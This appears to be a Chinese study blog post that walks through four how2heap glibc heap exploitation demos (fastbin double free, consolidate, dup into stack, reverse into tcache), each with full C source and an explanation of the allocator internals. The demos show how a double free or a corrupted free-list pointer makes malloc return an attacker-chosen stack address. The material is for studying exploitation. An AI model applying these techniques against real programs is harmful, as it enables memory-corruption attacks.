fastbin_dup
源码
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
printf("This file demonstrates a simple double-free attack with fastbins.\n");
printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
printf("Freeing the first one...\n");
free(a);
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
printf("So, instead, we'll free %p.\n", b);
free(b);
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
assert(a == c);
}
先经过了两个循环,申请了8各堆块,释放了7个堆块,这里的作用是将tcache bin中此大小的位置填满。
发现,又申请了三个堆块a,b,c。
先是free掉堆块a
此时将a堆块放入了fastbin中,之后我们尝试将堆块a再次free
和预想的一样,爆出了df的报错,这里我们进入glibc源码里去寻找这个位置。
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
这就是要求free掉的堆块不能够,link到自身
按照上面demo的意思就是需要中间间隔一个其他堆块来绕过这个检测
断点断在41行看fastbin中的情况
从中就可以发现堆块被free了两次造成了df
这样的话再进行申请堆块的时候第一次和第三次申请的堆块应该是同一个
继续验证直接运行到最后。
是这样的。
fastbin_dup_consolidate
源码
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
void main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
printf("Fill up the tcache list to force the fastbin usage...\n");
void *ptr[7];
for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);
void* p1 = calloc(1,0x40);
printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
free(p1);
void* p3 = malloc(0x400);
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
printf("will trigger the malloc_consolidate and merge\n");
printf("the fastbin chunks into the top chunk, thus\n");
printf("p1 and p3 are now pointing to the same chunk !\n\n");
assert(p1 == p3);
printf("Triggering the double free vulnerability!\n\n");
free(p1);
void *p4 = malloc(0x400);
assert(p4 == p3);
printf("The double free added the chunk referenced by p1 \n");
printf("to the tcache thus the next similar-size malloc will\n");
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}
demo先是将tcachebin填满,然后申请一个相同大小的堆块free掉
此时fastbin是与topchunk相邻的,如下图
此时申请一个较大的chunk就会触发consolidate,使fastbin与topchunk合并之后,再及逆行申请堆块,这就造成了较大堆块的头部位原fastbin堆块
fastbin_dup_into_stack
源码
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
fprintf(stderr,"Fill up tcache first.\n");
void *ptrs[7];
for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
unsigned long long stack_var;
fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
//Calling free(a) twice renders the program vulnerable to Double Free
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
/*VULNERABILITY*/
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
/*VULNERABILITY*/
fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));
void *p = calloc(1,8);
fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert(p == 8+(char *)&stack_var);
// assert((long)__builtin_return_address(0) == *(long *)p);
}
这个方法是基于fastbin_dup下的利用,首先的状态是要在fastbin_dup中
断点断在49行
现在时这个样子的,
后面申请了两个堆块,然后将第一个申请的堆块中写入了stack地址
这时候我们发现,原先的堆块里面出现了栈地址,这是因为我们第一次free的堆块和fastbin中最后一个堆块是同一个堆块,修改其中一个堆块,另一个堆块也相应的发生改变指向了栈地址
继续向下申请的话就会将stack地址盛情为堆块
这种利用方法属于是劫持堆块结构,来申请出我们想要控制的地址(但这个地址必须要有读写权限)
fastbin_reverse_into_tcache
源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
setbuf(stdout, NULL);
printf(
"\n"
"This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
"except it works with a small allocation size (allocsize <= 0x78).\n"
"The goal is to set things up so that a call to malloc(allocsize) will write\n"
"a large unsigned value to the stack.\n\n"
);
// Allocate 14 times so that we can free later.
char* ptrs[14];
size_t i;
for (i = 0; i < 14; i++) {
ptrs[i] = malloc(allocsize);
}
printf(
"First we need to free(allocsize) at least 7 times to fill the tcache.\n"
"(More than 7 times works fine too.)\n\n"
);
// Fill the tcache.
for (i = 0; i < 7; i++) {
free(ptrs[i]);
}
char* victim = ptrs[7];
printf(
"The next pointer that we free is the chunk that we're going to corrupt: %p\n"
"It doesn't matter if we corrupt it now or later. Because the tcache is\n"
"already full, it will go in the fastbin.\n\n",
victim
);
free(victim);
printf(
"Next we need to free between 1 and 6 more pointers. These will also go\n"
"in the fastbin. If the stack address that we want to overwrite is not zero\n"
"then we need to free exactly 6 more pointers, otherwise the attack will\n"
"cause a segmentation fault. But if the value on the stack is zero then\n"
"a single free is sufficient.\n\n"
);
// Fill the fastbin.
for (i = 8; i < 14; i++) {
free(ptrs[i]);
}
// Create an array on the stack and initialize it with garbage.
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));
printf(
"The stack address that we intend to target: %p\n"
"It's current value is %p\n",
&stack_var[2],
(char*)stack_var[2]
);
printf(
"Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
"to overwrite the next pointer at address %p\n\n",
victim
);
//------------VULNERABILITY-----------
// Overwrite linked list pointer in victim.
*(size_t**)victim = &stack_var[0];
//------------------------------------
printf(
"The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
);
// Empty tcache.
for (i = 0; i < 7; i++) {
ptrs[i] = malloc(allocsize);
}
printf(
"Let's just print the contents of our array on the stack now,\n"
"to show that it hasn't been modified yet.\n\n"
);
for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}
printf(
"\n"
"The next allocation triggers the stack to be overwritten. The tcache\n"
"is empty, but the fastbin isn't, so the next allocation comes from the\n"
"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
"Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
"address that we are targeting ends up being the first chunk in the tcache.\n"
"It contains a pointer to the next chunk in the list, which is why a heap\n"
"pointer is written to the stack.\n"
"\n"
"Earlier we said that the attack will also work if we free fewer than 6\n"
"extra pointers to the fastbin, but only if the value on the stack is zero.\n"
"That's because the value on the stack is treated as a next pointer in the\n"
"linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
"\n"
"The contents of our array on the stack now look like this:\n\n"
);
malloc(allocsize);
for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}
char *q = malloc(allocsize);
printf(
"\n"
"Finally, if we malloc one more time then we get the stack address back: %p\n",
q
);
assert(q == (char *)&stack_var[2]);
return 0;
}
分析一下源码的流程
程序首先是申请了十四个堆块,然后free掉了7个填满tcache bin
标记第8个堆块为想要攻击的堆块后free掉其他的堆块填满fastbin
之后程序将fastbin链的最后一个堆块的fd修改成为了我们想要劫持的地址
然后将tcachebin中的7个堆块申请空
这时候,tcachebin已经被申请空,再申请的话就需要将fastbin中的堆链反向链入tcachebin中
那这样的话,之前我们将stack地址写入fastbin链尾chunk的fd上,也就是stack地址成为fastbin链的最后一个堆块,那么逆链入tcachebin中的第一个堆块就是我们刚刚写进的stack地址
如果再申请的话,就是申请到了stack地址。
用这种方法我们可以控制我们想要控制的地址。